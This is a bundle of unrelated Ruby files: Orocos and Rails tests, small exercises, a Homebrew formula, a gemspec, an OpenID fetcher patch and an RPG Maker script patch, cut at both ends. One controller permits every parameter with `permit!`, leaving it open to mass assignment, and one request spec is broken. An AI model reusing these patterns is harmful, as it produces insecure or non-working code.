Orocos.run('echo') do |echo| echo = echo.task('Echo') writer = echo.port('input_struct').writer reader = echo.port('output').reader echo.start assert_equal(nil, reader.read) writer.write(:value => 10) sleep(0.1) assert_equal(10, reader.read) end end it "should allow to write opaque types" do Orocos.run('echo') do |echo| echo = echo.task('Echo') writer = echo.port('input_opaque').writer reader = echo.port('output_opaque').reader echo.start writer.write(:x => 84, :y => 42) sleep(0.2) sample = reader.read assert_equal(84, sample.x) assert_equal(42, sample.y) sample = writer.new_sample sample.x = 20 sample.y = 10 writer.write(sample) sleep(0.2) sample = reader.read assert_equal(20, sample.x) assert_equal(10, sample.y) end end if Orocos::SelfTest::USE_MQUEUE it "should fallback to CORBA if connection fails with MQ" do begin Orocos::MQueue.validate_sizes = false Orocos::MQueue.auto_sizes = false Orocos.run('echo') do |echo| echo = echo.task('Echo') writer = echo.port('input_opaque').writer(:transport => Orocos::TRANSPORT_MQ, :data_size => Orocos::MQueue.msgsize_max + 1, :type => :buffer, :size => 1) assert writer.connected? end ensure Orocos::MQueue.validate_sizes = true Orocos::MQueue.auto_sizes = true end end end describe "#connect_to" do it "should raise if the provided policy is invalid" do producer = Orocos::RubyTasks::TaskContext.new 'producer' out_p = producer.create_output_port 'out', 'double' consumer = Orocos::RubyTasks::TaskContext.new 'consumer' in_p = consumer.create_input_port 'in', 'double' assert_raises(ArgumentError) do out_p.connect_to in_p, :type=>:pull, :init=>false, :pull=>false, :data_size=>0, :size=>0, :lock=>:lock_free, :transport=>0, :name_id=>"" end end end end
# Copyright (C) 2014 Jan Rusnacko # # This copyrighted material is made available to anyone wishing to use, # modify, copy, or redistribute it subject to the terms and conditions of the # MIT license. require 'spec_helper' require 'ruby_util/hash' describe Hash do it 'should symbolize_keys correctly' do expect({ 'a' => 1, 'b' => 2 }.symbolize_keys).to be_eql(a: 1, b: 2) end it 'should symbolize_keys! correctly' do h = { 'a' => 1, 'b' => 2 }.symbolize_keys! expect(h).to be_eql(a: 1, b: 2) end it 'should deep_symbolize_keys correctly' do expect({ 'a' => { 'b' => 2 } }.deep_symbolize_keys).to be_eql(a: { b: 2 }) end it 'should deep_symbolize_keys! correctly' do h = { 'a' => { 'b' => 2 }, 'c' => 3 }.deep_symbolize_keys! expect(h).to be_eql(a: { b: 2 }, c: 3) end describe '#key_maxlen' do it 'should return maximum length of longest key' do hash = { size: 1, longest: 2, short: 3 } expect(hash.key_maxlen).to be_eql(7) end it 'should return 0 for empty hash' do hash = {} expect(hash.key_maxlen).to be_eql(0) end end describe '#recursive_merge' do it 'should return new hash' do hash1 = { a: 1, b: 2 } hash2 = { a: 2, c: 3 } expect(hash1.recursive_merge(hash2)).to be_eql(a: 2, b: 2, c: 3) expect(hash1).to be_eql(a: 1, b: 2) expect(hash2).to be_eql(a: 2, c: 3) end it 'should merge correctly' do hash1 = { a: 1, b: { c: 2, d: 3 }, e: { f: 4 } } hash2 = { b: { c: 5 }, e: 6 } result = hash1.recursive_merge(hash2) expect(result).to be_eql(a: 1, b: { c: 5, d: 3 }, e: 6) end end describe '#recursive_merge!' do it 'should merge correctly' do hash1 = { a: 1, b: { c: 2, d: 3 }, e: { f: 4 } } hash2 = { b: { c: 5 }, e: 6 } hash1.recursive_merge!(hash2) expect(hash1).to be_eql(a: 1, b: { c: 5, d: 3 }, e: 6) end end describe '#soft_merge!' do it 'should soft merge corectly' do hash1 = { a: 1, b: { c: 2, d: 3 }, e: { f: 4 } } hash2 = { b: { c: 5, g: 8 }, e: 6, h: 9 } hash1.soft_merge!(hash2) expect(hash1).to be_eql(a: 1, b: { c: 2, d: 3, g: 8 }, e: { f: 4 }, h: 9) end end describe '#soft_merge' do it 'should return new hash' do hash1 = { a: 1, b: 2 } hash2 = { a: 2, c: 3 } expect(hash1.soft_merge(hash2)).to be_eql(a: 1, b: 2, c: 3) expect(hash1).to be_eql(a: 1, b: 2) expect(hash2).to be_eql(a: 2, c: 3) end it 'should soft merge corectly' do hash1 = { a: 1, b: { c: 2, d: 3 }, e: { f: 4 } } hash2 = { b: { c: 5, g: 8 }, e: 6 } result = hash1.soft_merge(hash2) expect(result).to be_eql(a: 1, b: { c: 2, d: 3, g: 8 }, e: { f: 4 }) end end end
require_relative 'grid' class Point attr_accessor :p1, :p2 #public variables def initialize @p1 = 0 @p2 = 0 end def move!(direction) #moves the kangaroo in the given direction case direction when :north @p1 += 1 when :east @p2 += 1 when :south @p1 -= 1 when :west @p2 -= 1 end end def ==(other) if @p1 == other.p1 && @p2 == other.p2 true else false end end #shows where the kangaroo hopped def print puts "Hopped to: (#{@p1}, #{@p2})" end end
require File.dirname(__FILE__) + '/../../../test_helper' class TinyCI::Report::TestReportTest < ActiveSupport::TestCase test "should add test case" do report = TinyCI::Report::TestReport.new report.add_test_case('SomeTest', 'test_should_do_something', 'success') test_case = report.test_case('SomeTest', 'test_should_do_something') assert_equal 'success', test_case.status end test "should add error to test case" do report = TinyCI::Report::TestReport.new report.add_test_case('SomeTest', 'test_should_do_something', 'failure') test_case = report.test_case('SomeTest', 'test_should_do_something') test_case.error!('it failed!', caller) assert_equal 'it failed!', test_case.error_message end test "should provide access to test summary" do report = TinyCI::Report::TestReport.new assert report.summary.is_a?(TinyCI::Report::TestReport::Summary) end end
require 'rails_helper' RSpec.describe Event, type: :model do before do Rails.application.load_seed end let(:event) { Event.find_by(title: 'This is the 3rd event') } it "is valid with valid attributes" do expect(event).to be_valid end context 'is not valid without a valid title' do it 'title is nil' do event.title = nil expect(event).to_not be_valid end it 'title is too short' do event.title = 'ABC' expect(event).to_not be_valid end it 'title is too long' do event.title = 'A' * 51 expect(event).to_not be_valid end end context "is not valid without a valid description" do it 'description is nil' do event.description = nil expect(event).to_not be_valid end it 'is too short' do event.description = 'aa' expect(event).to_not be_valid end it 'is too long' do event.description = 'a' * 1001 expect(event).to_not be_valid end end context "is not valid without a valid location" do it "location is nil" do event.location = nil expect(event).to_not be_valid end it 'is too short' do event.location = 'aa' expect(event).to_not be_valid end it 'is too long' do event.location = 'a' * 101 expect(event).to_not be_valid end end context "is not valid without a valid date" do it 'date is nil' do event.date = nil expect(event).to_not be_valid end it 'date is a string' do event.date = 'not a date' expect(event).to_not be_valid end it 'date is not real' do event.date = '2018-02-31' expect(event).to_not be_valid end end end
class MeMyselfAndI puts self def self.me puts self end def myself puts self end end i = MeMyselfAndI.new p MeMyselfAndI.me p i.myself
# Generated via # `rails generate hyrax:work Image` require 'rails_helper' RSpec.describe Image do subject(:image) { FactoryBot.build(:image) } it_behaves_like 'a model with admin metadata' it_behaves_like 'a model with workflow metadata' it_behaves_like 'a model with image metadata' it_behaves_like 'a model with common metadata' it_behaves_like 'a model with nul core metadata' it_behaves_like 'a model with hyrax basic metadata', except: [:contributor, :creator, :keyword, :language, :license] it 'defaults status to Image.DEFAULT_STATUS' do attributes = FactoryBot.attributes_for(:image).except(:status) image_without_status = FactoryBot.build(:image, attributes) expect(image_without_status.status).to eq(Image::DEFAULT_STATUS) end it 'defaults preservation_level to Image.DEFAULT_PRESERVATION_LEVEL' do attributes = FactoryBot.attributes_for(:image).except(:preservation_level) image_without_preservation_level = FactoryBot.build(:image, attributes) expect(image_without_preservation_level.preservation_level).to eq(Image::DEFAULT_PRESERVATION_LEVEL) end describe '#to_common_index' do it 'maps metadata to a hash for indexing' do image_with_id = FactoryBot.build(:image, id: 'abc124') expect(image_with_id.to_common_index).to be_kind_of(Hash) end end describe '#top_level_in_collection?' do let(:parent_image) { FactoryBot.build(:image) } let(:child_image) { FactoryBot.build(:image) } let(:collection) { FactoryBot.build(:collection) } before do parent_image.ordered_members << child_image parent_image.save! [parent_image, child_image].each do |asset| asset.member_of_collections << collection asset.save! end end it 'knows when an image is top-level in a collection (no parent image)' do expect(parent_image.top_level_in_collection?(collection)).to be true expect(child_image.top_level_in_collection?(collection)).to be false end end end
class Api::V1::RestockItemsController < ApplicationController def index @restock_items = Restock_item.all render json: @restock_items end def create @restock_item = Restock_item.create(restock_item_params) render json: @restock_item end private def restock_item_params params.require(:restock_item).permit! end end
module OpenID class StandardFetcher def fetch(url, body=nil, headers=nil, redirect_limit=REDIRECT_LIMIT) unparsed_url = url.dup url = URI::parse(url) if url.nil? raise FetchingError, "Invalid URL: #{unparsed_url}" end headers ||= {} headers['User-agent'] ||= USER_AGENT begin Rails.logger.info("#{__method__} url: "+url.inspect) conn = make_connection(url) response = nil response = conn.start { # Check the certificate against the URL's hostname if supports_ssl?(conn) and conn.use_ssl? conn.post_connection_check(url.host) end if body.nil? conn.request_get(url.request_uri, headers) else headers["Content-type"] ||= "application/x-www-form-urlencoded" conn.request_post(url.request_uri, body, headers) end } setup_encoding(response) rescue Timeout::Error => why raise FetchingError, "Error fetching #{url}: #{why}" rescue RuntimeError => why raise why rescue OpenSSL::SSL::SSLError => why raise SSLFetchingError, "Error connecting to SSL URL #{url}: #{why}" rescue FetchingError => why raise why rescue Exception => why Rails.logger.info why.message+"\n "+why.backtrace.join("\n ") raise FetchingError, "Error fetching #{url}: #{why}" end case response when Net::HTTPRedirection if redirect_limit <= 0 raise HTTPRedirectLimitReached.new( "Too many redirects, not fetching #{response['location']}") end begin return fetch(response['location'], body, headers, redirect_limit - 1) rescue HTTPRedirectLimitReached => e raise e rescue FetchingError => why raise FetchingError, "Error encountered in redirect from #{url}: #{why}" end else return HTTPResponse._from_net_response(response, unparsed_url) end end end module Yadis def self.discover(uri) result = DiscoveryResult.new(uri) begin resp = OpenID.fetch(uri, nil, {'Accept' => YADIS_ACCEPT_HEADER}) rescue Exception Rails.logger.info $!.message+"\n "+$!.backtrace.join("\n ") raise DiscoveryFailure.new("Failed to fetch identity URL #{uri} : #{$!}", $!) end if resp.code != "200" and resp.code != "206" raise DiscoveryFailure.new( "HTTP Response status from identity URL host is not \"200\"."\ "Got status #{resp.code.inspect} for #{resp.final_url}", resp) end # Note the URL after following redirects result.normalized_uri = resp.final_url # Attempt to find out where to go to discover the document or if # we already have it result.content_type = resp['content-type'] result.xrds_uri = self.where_is_yadis?(resp) if result.xrds_uri and result.used_yadis_location? begin resp = OpenID.fetch(result.xrds_uri) rescue raise DiscoveryFailure.new("Failed to fetch Yadis URL #{result.xrds_uri} : #{$!}", $!) end if resp.code != "200" and resp.code != "206" exc = DiscoveryFailure.new( "HTTP Response status from Yadis host is not \"200\". " + "Got status #{resp.code.inspect} for #{resp.final_url}", resp) exc.identity_url = result.normalized_uri raise exc end result.content_type = resp['content-type'] end result.response_text = resp.body return result end end end
require 'spec_helper' require 'fileutils' describe 'db' do let(:db) do if File.exists?("test.db") FileUtils.rm("test.db") end RPS::DB.new("test.db") end let(:user1) {db.create_user(:name => "Ashley", :password => "1234")} let(:user2) {db.create_user(:name => "Katrina", :password => "123kb")} let(:match) {db.create_match({:p1_id => user1.id})} let(:game1) {db.create_game({mid: match.id})} let(:invite1) {db.create_invite({inviter: user1.id, invitee: user2.id})} it "exists" do expect(DB).to be_a(Class) end it "returns a db" do expect(db).to be_a(DB) end # testing users describe 'users' do it "creates a user with unique username and password" do expect(user1.name).to eq("Ashley") expect(user1.password).to eq("1234") expect(user1.id).to be_a(Fixnum) end it "returns a User object" do user = db.get_user(user1.name) expect(user).to be_a(RPS::Users) expect(user.name).to eq("Ashley") expect(user.password).to eq("1234") expect(user.id).to be_a(Fixnum) end it "updates a user's information" do user = db.update_user(user1.name, :password => "abc12") expect(user.name).to eq("Ashley") expect(user.password).to eq("abc12") expect(db.get_user(user1.name).password).to eq("abc12") end it "removes a user" do expect(db.remove_user(user1.name)).to eq([]) end it "lists all users" do user1 katrina = db.create_user(:name => "Katrina", :password => "123kb") users = db.list_users expect(users[0].name).to eq("Ashley") expect(users[1].name).to eq("Katrina") expect(users.size).to eq(2) end end describe 'matches' do describe "create_match" do it "creates a match with unique id and win_id set to nil" do expect(match.id).to be_a(Fixnum) expect(match.p2_id).to eq(nil) expect(match.win_id).to eq(nil) end it "takes in 1 player id and set it equal to p1_id" do expect(match.p1_id).to eq(user1.id) end end it "returns a match object given match id" do match_id = match.id expect(db.get_match(match_id).id).to eq(match.id) end describe '#update_match' do it 'updates a match with given data' do db.update_match(match.id, p2_id: 6) expect(db.get_match(match.id).p2_id).to eq(6) end it 'returns a match object' do result = db.update_match(match.id, p2_id: 6) expect(result.p2_id).to eq(6) expect(result.win_id).to eq(nil) result2 = db.update_match(match.id, win_id: user1.id) expect(result2.win_id).to eq(user1.id) end end it 'should delete a match' do expect(db.remove_match(match.id)).to eq([]) end it "lists all matches" do match match2 = db.create_match({:p1_id => user2.id}) matches = db.list_matches expect(matches[0].id).to eq(match.id) expect(matches[1].id).to eq(match2.id) expect(matches.size).to eq(2) end end describe 'games' do describe '#create_game' do it 'should create a game with a match id and unique id' do expect(game1.mid).to eq(match.id) expect(game1.id).to be_a(Fixnum) end it 'should set p1_pick and p2_pick and win_id to nil' do expect(game1.p1_pick).to eq(nil) expect(game1.p2_pick).to eq(nil) expect(game1.win_id).to eq(nil) end end it "returns a game object given game id" do game1_id = game1.id expect(db.get_game(game1_id).id).to eq(game1.id) end describe '#update_game' do it 'updates a game with given data' do db.update_game(game1.id, p1_pick: "rock") expect(db.get_game(game1.id).p1_pick).to eq("rock") end it 'returns a game object' do result = db.update_game(game1.id, p2_pick: "paper") expect(result.p2_pick).to eq("paper") expect(result.win_id).to eq(nil) result2 = db.update_game(game1.id, win_id: user1.id) expect(result2.win_id).to eq(user1.id) end end it 'should delete a game' do expect(db.remove_game(game1.id)).to eq([]) end end describe 'invites' do it 'should create a invite with a inviter id, invitee id, and unique id' do expect(invite1.inviter).to eq(user1.id) expect(invite1.invitee).to eq(user2.id) expect(invite1.id).to be_a(Fixnum) end it "returns a invite object given invite id" do invite1_id = invite1.id expect(db.get_invite(invite1_id).id).to eq(invite1.id) end it 'should delete an invite' do expect(db.remove_invite(invite1.id)).to eq([]) end describe "list all invites" do it "returns an array of all invites" do invite1 invite2 = db.create_invite(inviter: user2.id, invitee: user1.id) invites = db.list_invites expect(invites[0].id).to eq(invite1.id) expect(invites[1].id).to eq(invite2.id) expect(invites.size).to eq(2) end end end end
=begin - input: array of elements that can be sorted - output: same array with elements sorted - Data Structure: work directly with Array Algorithm: - if first element > second element then array[0], array[1] = array[1], array[0] - now second element compared to third => if array[1] > array[2] then swap =end def bubble_sort!(array) loop do idx = 0 exchange = false loop do if array[idx] > array[idx + 1] array[idx], array[idx + 1] = array[idx + 1], array[idx] exchange = true end break if idx == (array.size - 2) idx += 1 end break if exchange == false end array end #array = [5, 3] #bubble_sort!(array) #array == [3, 5] p array = [6, 2, 7, 1, 4] bubble_sort!(array) p array #== [1, 2, 4, 6, 7] p array = %w(Sue Pete Alice Tyler Rachel Kim Bonnie) bubble_sort!(array) p array #== %w(Alice Bonnie Kim Pete Rachel Sue Tyler)
# rspec ./spec/requests/users_request_spec.rb # frozen_string_literal: true require 'rails_helper' RSpec.describe 'Users', type: :request do let!(:admin) { FactoryBot.create(:admin) } let!(:guestuser) { FactoryBot.create(:guestuser) } describe 'PUT #update' do context 'パラメータが妥当な場合' do before do @admin = FactoryBot.create(:admin) end it 'リクエストが成功すること' do update_params = FactoryBot.attributes_for(:admin, name: 'update_admin') patch :update, id: admin.id, admin: attributes_for(:admin) expect(assigns(:admin)).to eq admin # put user_path admin, params: { admin: FactoryBot.attributes_for(:admin) } # expect(response.status).to eq 302 end it 'ユーザー名が更新されること' do user_params = FactoryBot.attributes_for(:admin, name: 'admin_update') patch user_path admin, params: { id: @admin.id, name: user_params } expect(@admin.reload.name).to eq 'admin_update' # expect do # put user_path admin, # params: { admin: FactoryBot.attributes_for(:admin) } # end.to change { User.find(user.id).name }.from('user1').to('user2') end end it 'リダイレクトすること' do put user_path admin, params: { admin: FactoryBot.attributes_for(:admin) } expect(response).to redirect_to User.last end end context 'パラメータが不正な場合' do it 'リクエストが成功すること' do put user_path admin, params: { admin: FactoryBot.attributes_for(:user1, :invalid) } expect(response.status).to eq 200 end it 'ユーザー名が変更されないこと' do expect do put user_path admin, params: { admin: FactoryBot.attributes_for(:user1, :invalid) } end.to_not change(User.find(user.id), :name) end it 'エラーが表示されること' do put user_path admin, params: { admin: FactoryBot.attributes_for(:user1, :invalid) } expect(response.body).to include 'prohibited this user from being saved' end end end # Webリクエストが成功したか # 正しいページにリダイレクトされたか # ユーザー認証が成功したか # レスポンスのテンプレートに正しいオブジェクトが保存されたか # ビューに表示されたメッセージは適切か # FAILER!! # shared_context 'log_in' do # session[:user_id] = user1.id # end # before_action :logged_in_user, # only: %i[edit update destroy following followers] # before_action :correct_user, only: %i[edit update] # before_action :check_guest, only: %i[destroy update] # describe 'A' do # before { get :show, id:@user.id } # it { expect(response.status).to eq(200) } # it { expect(response).to render_template show } # it { expect(assings(:user)).to eq @user } # end # RSpec.describe 'Users', type: :request do # before do # @user = User.new( # name: "admin", # email: "admin@example.com", # admin: true, # activated_at: Time.zone.now, # created_at: Time.zone.now # ) # log_in(@user) # session[:user_id] = @user.id # get login_path # end # end # ===================ABILITY=================== # describe 'abilities' do # # ユーザーを定義 # let!(:admin) { FactoryBot.create(:admin) } # # このスコープ内ではAbilityの生成コードを毎回書かなくても良いようにsubject化 # subject { Ability.new(admin) } # it { is_expected.to be_able_to(:create, Item.new) } # it { is_expected.to_not be_able_to(:destroy, Item.new) } # end # describe "abilities" do # # user = User.create! # ability = Ability.new(user) # expect(ability).to be_able_to(:create, Post.new) # expect(ability).to_not be_able_to(:destroy, Post.new) # end # expect(ability).to_not be_able_to(:destroy, Item.new) # test "user can only destroy projects which they own" do # describe "User" do # #FactoryBotでいける!! # context '自分のモデルデータしか削除できないテスト' # user = User.create! # before do # ability = Ability.new(user1) # admin_ability = Ability.new(admin) # end # it 'adminはすべてのデータを削除できる' do # admin_ability.should be_able_to(:destroy, Item.new) # admin_ability.should be_able_to(:destroy, Cordinate.new) # admin_ability.should be_able_to(:destroy, Comment.new) # end # it 'Cordinateは自分の所有するものしか削除できない' do # ability.should be_able_to(:destroy, Cordinate.new(user: user1)) # ability.should_not be_able_to(:destroy, Cordinate.new) # end # it 'Itemは自分の所有するものしか削除できない' do # ability.should be_able_to(:destroy, Cordinate.new(user: user1)) # ability.should_not be_able_to(:destroy, Cordinate.new) # end # it 'Itemは自分の所有するものしか削除できない' do # ability.should be_able_to(:destroy, Cordinate.new(user: user1)) # ability.should_not be_able_to(:destroy, Cordinate.new) # end # end # end
class Player attr_reader :num def initialize(player_number) @num = player_number end def valid_move?(board, move) (0..6).include?(move) && board.game[move].include?(0) end end
describe 'The Apprentice News submission page', type: :feature do before(:each) do database = double(:database) allow(database).to receive(:init) Capybara.app = ApprenticeNews.new(nil, database) end it 'should allow the user to submit a story' do pending 'Not implemented yet' visit '/submit' expect(page).to have_text('Submit a story') end end
class TarantoolNginxModule < Formula desc "Tarantool upstream for nginx" homepage "https://github.com/tarantool/nginx_upstream_module" url "https://github.com/tarantool/nginx_upstream_module/archive/v2.7.tar.gz" version "2.7" sha256 "48d0bd45de57c9c34c836941d79ac53b3d51d715361d447794aecd5e16eacfea" bottle :unneeded depends_on "msgpuck" => :build depends_on "cmake" => :build depends_on "yajl" def install pkgshare.install Dir["*"] end end
class AddHasBusinessPaypalToUsers < ActiveRecord::Migration[5.0] def change add_column :users, :has_business_paypal, :bool, default: :false end end
class WelcomeController < ApplicationController def index redirect_to categories_path if logged_in? end end
module Poe class TextCache attr_accessor :text attr_reader :text_str attr_accessor :lines attr_reader :filename attr_accessor :full_filename def initialize(file) @filename = File.basename(file) @full_filename = File.expand_path(file) if File.exist?(File.expand_path(file)) @text = File.open(File.expand_path(file)).read.split("\n") if @text.empty? @text = [""] end @text_str = File.open(File.expand_path(file)).read @lines = @text.length else @text = [""] @text_str = "" @lines = 1 end end def insert_at(row, line, text) if text == "\n" and row == 0 @text.unshift("\n") File.open("./debug", "w+") do |f| f.write("#{row}, #{line}, #{text.inspect}, #{@text.uniq.join}") end else @text[line] = @text[line - 1].insert(row - text.length, text) end @text_str = @text.uniq.join end def remove_at(row, line) unless @text[line - 1].nil? new_line = @text[line - 1] new_line.slice!(row) @text[line - 1] = new_line end @text_str = @text.uniq.join end def save File.open(@full_filename, "w+") do |f| f.write(@text_str) end exit end end end
require 'mustache' module Couchino module Plugins class Mustache < Couchino::Plugin name 'mustache' # Run the mustache plugin. # Available options: # # * :files - Run these files through mustache. Can be an array of patterns # or a single file. The default is '*.mustache'. # * :vars - Additional variables to interpolate. By default the `env` and # `config` are interpolated. # def before_build file_patterns = options[:files] || '*.mustache' files = Dir[*[file_patterns].flatten] vars = { :env => pusher.env, :config => pusher.config }.merge(options[:vars] || {}) Couchino.logger.debug "Mustache vars: #{vars.inspect}" files.each do |file| Couchino.logger.debug "Running #{file} through mustache." basename = File.basename(file) dir = File.dirname(file) parts = basename.split(/\./) new_file = parts.length > 2 ? parts[0..-2].join('.') : parts[0] + ".html" File.open(File.join(dir, new_file), 'w') do |f| f << ::Mustache.render(File.read(file), vars) end Couchino.logger.debug "Wrote to #{new_file}" end end end end end
class TripFamily < ApplicationRecord belongs_to :family belongs_to :trip validates :family, presence: true validates :trip, presence: true end
points = [] File.open("temp.log") do |file| file.each do |line| timestamp, temp = line.split temp = temp.to_f next if temp > 100 next if temp < 30 points << [timestamp.to_i, temp] end end p points
#spec/factories/books.rb FactoryGirl.define do factory :book do name RandomWord.adjs.next.capitalize description "The Stunning Conclusion to the recent arc!" factory :book_with_author after(:build) do |book| book.authors << FactoryGirl.build(:author) end end end
Gem::Specification.new do |s| s.name = 'rufus-tokyo' s.version = '0.1.13.2' s.authors = [ 'John Mettraux', ] s.email = 'jmettraux@gmail.com' s.homepage = 'http://rufus.rubyforge.org/' s.platform = Gem::Platform::RUBY s.summary = 'ruby-ffi based lib to access Tokyo Cabinet and Tyrant' s.require_path = 'lib' s.test_file = 'spec/spec.rb' s.has_rdoc = true s.extra_rdoc_files = %w{ README.txt CHANGELOG.txt CREDITS.txt } s.rubyforge_project = 'rufus' %w{ ffi }.each do |d| s.requirements << d s.add_dependency(d) end s.files = ["lib/rufus-edo.rb", "lib/rufus/edo.rb", "lib/rufus/edo/tabcore.rb", "lib/rufus/edo/ntyrant/abstract.rb", "lib/rufus/edo/ntyrant/table.rb", "lib/rufus/edo/ntyrant.rb", "lib/rufus/edo/error.rb", "lib/rufus/edo/cabcore.rb", "lib/rufus/edo/cabinet/abstract.rb", "lib/rufus/edo/cabinet/table.rb", "lib/rufus/tokyo.rb", "lib/rufus/tokyo/config.rb", "lib/rufus/tokyo/hmethods.rb", "lib/rufus/tokyo/tyrant.rb", "lib/rufus/tokyo/dystopia/lib.rb", "lib/rufus/tokyo/dystopia/core.rb", "lib/rufus/tokyo/dystopia/words.rb", "lib/rufus/tokyo/transactions.rb", "lib/rufus/tokyo/tyrant/lib.rb", "lib/rufus/tokyo/tyrant/abstract.rb", "lib/rufus/tokyo/tyrant/table.rb", "lib/rufus/tokyo/query.rb", "lib/rufus/tokyo/dystopia.rb", "lib/rufus/tokyo/ttcommons.rb", "lib/rufus/tokyo/cabinet/lib.rb", "lib/rufus/tokyo/cabinet/util.rb", "lib/rufus/tokyo/cabinet/abstract.rb", "lib/rufus/tokyo/cabinet/table.rb", "lib/rufus-tokyo.rb", "CREDITS.txt", "LICENSE.txt", "CHANGELOG.txt", "README.txt", "TODO.txt"] # generated fromDir['lib/**/*.rb'] + Dir['*.txt'] - [ 'lib/tokyotyrant.rb' ]. needs redoing for every new file, but hopefully will make github build the gem right now. end
class MissionNamesController < ApplicationController include MyUtility before_action :set_mission_name, only: [:show, :edit, :update, :destroy] # GET /mission_names def index placeholder_set param_set @count = MissionName.search(params[:q]).result.count() @search = MissionName.page(params[:page]).search(params[:q]) @search.sorts = 'id asc' if @search.sorts.empty? @mission_names = @search.result.per(50) end def param_set @latest_result = Name.maximum('result_no') params_clean(params) if !params["is_form"] then params["result_no_form"] ||= sprintf('%d',@latest_result) end reference_text_assign(params, "p_name_name", "p_name_form") reference_number_assign(params, "mission_id", "mission_id_form") reference_text_assign(params, "name", "name_form") @p_name_form = params["p_name_form"] @mission_id_form = params["mission_id_form"] @name_form = params["name_form"] end # GET /mission_names/1 #def show #end # GET /mission_names/new #def new # @mission_name = MissionName.new #end # GET /mission_names/1/edit #def edit #end # POST /mission_names #def create # @mission_name = MissionName.new(mission_name_params) # if @mission_name.save # redirect_to @mission_name, notice: 'Mission name was successfully created.' # else # render action: 'new' # end #end # PATCH/PUT /mission_names/1 #def update # if @mission_name.update(mission_name_params) # redirect_to @mission_name, notice: 'Mission name was successfully updated.' # else # render action: 'edit' # end #end # DELETE /mission_names/1 #def destroy # @mission_name.destroy # redirect_to mission_names_url, notice: 'Mission name was successfully destroyed.' #end private # Use callbacks to share common setup or constraints between actions. def set_mission_name @mission_name = MissionName.find(params[:id]) end # Only allow a trusted parameter "white list" through. def mission_name_params params.require(:mission_name).permit(:mission_id, :name) end end
# Calculate the mode Pairing Challenge # I worked on this challenge with Gaston Gouron # I spent 2.5 hours on this challenge. # Complete each step below according to the challenge directions and # include it in this file. Also make sure everything that isn't code # is commented. # 0. Pseudocode # What is the input? # An array of numbers or strings # What is the output? (i.e. What should the code return?) # An array containing the mode (the most frequent item) # What are the steps needed to solve the problem? =begin CREATE a method called mode that takes an array as an argument CREATE an empty hash CREATE a counter = 0 FOR each item in the array ADD the item to the hash as the key Every time an item occurs, the value equals the counter plus one Look for the keys with the highest values PUSH the keys into an array =end # 1. Initial Solution def mode(mode_array) mode_hash = Hash.new(0) mode_array.each do |i| mode_hash[i] += 1 end output_array = [] n = 0 greatest = mode_hash.values[0] while n < mode_hash.length if greatest < mode_hash.values[n] greatest = mode_hash.values[n] end n += 1 end mode_hash.each do |key, value| if value == greatest output_array.push(key) end end p output_array end # 3. Refactored Solution def mode(input_array) counter = Hash.new(0) input_array.each do |i| counter[i] += 1 end output_array = [] counter.each do |k, v| output_array << k if v == counter.values.max end p output_array end # 4. Reflection =begin Which data structure did you and your pair decide to implement and why? We decided to create an instance counter using a hash, becuase it allows us to set a key value pair and set the value equal to the number of times an array item occurred. Were you more successful breaking this problem down into implementable pseudocode than with the last pair? Not exactly. While it was fairly simple to write the pseudocode, implementing it was more difficlut in this pairing session than it has been for me in the past. What issues/successes did you run into when translating your pseudocode to code? We had some issues writing the code for this challenge, becuase our original code didn't work as expected, and it took some additional time to research a new solution. Once we came up with a new solution, it took some time for both of us to get on the same page and fully understand what was going on in the code. What methods did you use to iterate through the content? Did you find any good ones when you were refactoring? Were they difficult to implement? We primarily used the each method to iterate in both versions, though we switched out the while loop for a method in the final solution. Though we found the values.max method early on in the process of researching this problem, we wanted to use simpler logic to arrive at the first soluton, which proved to be pretty complicated. end
# while loop # - checks to see if condition is true, WHILE it is, it will continue to loop
#============================================================================== # KGC_PassiveSkills + Yanfly New Battle Stats Patch (DEX, RES, DUR, and LUK) # v1.0 (August 24, 2011) # By Mr. Bubble #============================================================================== # Installation: Insert this patch into its own page below all the # Yanfly Battle Stats scripts and KGC Passive Skills in # your script editor. #------------------------------------------------------------------------------ # This patch adds New Battle Stats functionality to KGC Passive Skills. # Usage of these stats is generally no different than using default stats. #----------------------------------------------------------------------------- # ++ Passive Skill New Battle Stats Parameter Tags ++ #----------------------------------------------------------------------------- # ----- # | Key | # ----------------------------------------------------- # | n | A value/number. Can be positive or negative. | # | % | Changes n to a rate. Optional. | # ----------------------------------------------------- # # -------- ---------------------------------------------------------------- # Notetag | Description # -------- ---------------------------------------------------------------- # DEX n | Increase/Decrease Dexterity # RES n | Increase/Decrease Resistance # DUR n | Increase/Decrease Durability # LUK n | Increase/Decrease Luck # -------- ---------------------------------------------------------------- # # Each stat tags can only be used if you have the appropriate Battle Stat # or Class Stat installed in your script editor. Using notetags for these # are no different than default stats. # # Example: # # <PASSIVE_SKILL> # ATK +5 # DEX +10% # RES +7 # DUR -33% # LUK -3 # </PASSIVE_SKILL> #------------------------------------------------------------------------------ #============================================================================== #------------------------------------------------------------------------------ #------- Do not edit below this point unless you know what you're doing ------- #------------------------------------------------------------------------------ #============================================================================== $imported = {} if $imported == nil if $imported["PassiveSkill"] module KGC module PassiveSkill # DEX if $imported["BattlerStatDEX"] || $imported["DEX Stat"] PARAMS[:dex] = "DEX|dexterity" end # RES if $imported["BattlerStatRES"] || $imported["RES Stat"] PARAMS[:res] = "RES|resistance" end # DUR if $imported["ClassStatDUR"] PARAMS[:dur] = "DUR|durability" end # LUK if $imported["ClassStatLUK"] PARAMS[:luk] = "LUK|luck" end end end class Game_Actor < Game_Battler #-------------------------------------------------------------------------- # alias: base_dex #-------------------------------------------------------------------------- if $imported["BattlerStatDEX"] || $imported["DEX Stat"] alias base_dex_KGC_PassiveSkill base_dex unless $@ def base_dex n = base_dex_KGC_PassiveSkill + passive_params[:dex] n = n * passive_params_rate[:dex] / 100 return n end end # if $imported["BattlerStatDEX"] || $imported["DEX Stat"] #-------------------------------------------------------------------------- # alias: base_res #-------------------------------------------------------------------------- if $imported["BattlerStatRES"] || $imported["RES Stat"] alias base_res_KGC_PassiveSkill base_res unless $@ def base_res n = base_res_KGC_PassiveSkill + passive_params[:res] n = n * passive_params_rate[:res] / 100 return n end end # if $imported["BattlerStatRES"] || $imported["RES Stat"] #-------------------------------------------------------------------------- # alias: base_dur #-------------------------------------------------------------------------- if $imported["ClassStatDUR"] alias base_dur_KGC_PassiveSkill base_dur unless $@ def base_dur n = base_dur_KGC_PassiveSkill + passive_params[:dur] n = n * passive_params_rate[:dur] / 100 return n end end # if $imported["ClassStatDUR"] #-------------------------------------------------------------------------- # alias: base_luk #-------------------------------------------------------------------------- if $imported["ClassStatLUK"] alias base_luk_KGC_PassiveSkill base_luk unless $@ def base_luk n = 